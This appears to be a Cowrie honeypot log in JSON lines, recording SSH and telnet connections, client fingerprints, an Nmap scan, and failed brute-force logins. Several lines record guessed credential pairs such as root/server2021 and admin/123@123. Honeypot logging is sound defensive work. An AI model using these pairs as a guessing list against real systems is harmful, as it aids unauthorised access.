{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:50.184686Z","src_ip":"35.195.90.213","session":"bb148e1f0132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:50.192572Z","src_ip":"35.195.90.213","session":"d98ce94e7afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:51.037519Z","src_ip":"186.113.245.157","session":"f2adfe06a00b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.176.25","src_port":56726,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fa895675a62","protocol":"ssh","message":"New connection: 34.62.176.25:56726 (10.17.0.5:22) [session: 3fa895675a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:52.048124Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:52.053376Z","src_ip":"34.62.176.25","session":"3fa895675a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.176.25","src_port":56728,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbe5bad62f83","protocol":"ssh","message":"New connection: 34.62.176.25:56728 (10.17.0.5:22) [session: cbe5bad62f83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:53.044036Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:53.124737Z","src_ip":"34.62.176.25","session":"cbe5bad62f83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:54:58.034904Z","src_ip":"35.195.90.213","session":"bb148e1f0132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":19895,"dst_ip":"159.203.135.109","dst_port":22,"session":"66bff31fe79a","protocol":"ssh","message":"New connection: 193.24.211.95:19895 (159.203.135.109:22) [session: 66bff31fe79a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:05.180101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:05.202112Z","src_ip":"193.24.211.95","session":"66bff31fe79a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:05.291560Z","src_ip":"193.24.211.95","session":"66bff31fe79a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecom","password":"telecom","message":"login attempt [telecom/telecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:05.730820Z","src_ip":"193.24.211.95","session":"66bff31fe79a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:06.844970Z","src_ip":"193.24.211.95","session":"66bff31fe79a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.62.176.25","src_port":59934,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a7eff03d40f","protocol":"ssh","message":"New connection: 34.62.176.25:59934 (10.17.0.5:22) [session: 3a7eff03d40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:10.022578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap_SSH2_Enum_Algos","message":"Remote SSH version: SSH-2.0-Nmap_SSH2_Enum_Algos","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:10.051985Z","src_ip":"34.62.176.25","session":"3a7eff03d40f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"a20aced7c9824fd804f59e68dd801ad3","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: a20aced7c9824fd804f59e68dd801ad3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:10.157349Z","src_ip":"34.62.176.25","session":"3a7eff03d40f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:10.166918Z","src_ip":"34.62.176.25","session":"3a7eff03d40f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"447f76448ccc","protocol":"ssh","message":"New connection: 14.225.217.138:32862 (159.203.135.109:22) [session: 447f76448ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:30.632957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:30.639254Z","src_ip":"14.225.217.138","session":"447f76448ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:30.901953Z","src_ip":"14.225.217.138","session":"447f76448ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123@123","message":"login attempt [admin/123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:31.986170Z","src_ip":"14.225.217.138","session":"447f76448ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:33.251900Z","src_ip":"14.225.217.138","session":"447f76448ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"d92634ecb25d","protocol":"ssh","message":"New connection: 186.113.245.157:50520 (159.203.135.109:22) [session: d92634ecb25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:45.666699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:45.671730Z","src_ip":"186.113.245.157","session":"d92634ecb25d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:45.765398Z","src_ip":"186.113.245.157","session":"d92634ecb25d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2021","message":"login attempt [root/server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:46.156840Z","src_ip":"186.113.245.157","session":"d92634ecb25d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:55:47.251318Z","src_ip":"186.113.245.157","session":"d92634ecb25d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44830,"dst_ip":"10.17.0.5","dst_port":23,"session":"26af42d09fdf","protocol":"telnet","message":"New connection: 104.245.105.2:44830 (10.17.0.5:23) [session: 26af42d09fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:05.519834Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20856,"dst_ip":"10.17.0.5","dst_port":22,"session":"199c08ba39d0","protocol":"ssh","message":"New connection: 2.57.121.25:20856 (10.17.0.5:22) [session: 199c08ba39d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:09.938381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:09.944332Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:10.050234Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"31071993","message":"login attempt [user/31071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:10.546204Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"31071976","message":"login attempt [user/31071976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:11.654842Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"310589","message":"login attempt [user/310589] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:12.764098Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"310189","message":"login attempt [user/310189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:13.873026Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"31011991","message":"login attempt [user/31011991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:14.985278Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:16.095113Z","src_ip":"2.57.121.25","session":"199c08ba39d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":41916,"dst_ip":"159.203.135.109","dst_port":22,"session":"3adef2570167","protocol":"ssh","message":"New connection: 14.225.217.138:41916 (159.203.135.109:22) [session: 3adef2570167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:26.824213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:26.829835Z","src_ip":"14.225.217.138","session":"3adef2570167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:27.091475Z","src_ip":"14.225.217.138","session":"3adef2570167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"test123","message":"login attempt [administrator/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:28.168231Z","src_ip":"14.225.217.138","session":"3adef2570167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:29.432801Z","src_ip":"14.225.217.138","session":"3adef2570167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.972468376159668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:37.492184Z","src_ip":"104.245.105.2","session":"26af42d09fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":39514,"dst_ip":"159.203.135.109","dst_port":22,"session":"43817a984ebb","protocol":"ssh","message":"New connection: 186.113.245.157:39514 (159.203.135.109:22) [session: 43817a984ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:45.180569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:45.185295Z","src_ip":"186.113.245.157","session":"43817a984ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:45.275000Z","src_ip":"186.113.245.157","session":"43817a984ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12340","message":"login attempt [ubuntu/12340] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:56:45.664104Z","src_ip":"186.113.245.157","session":"43817a984ebb","protocol":"ssh"}
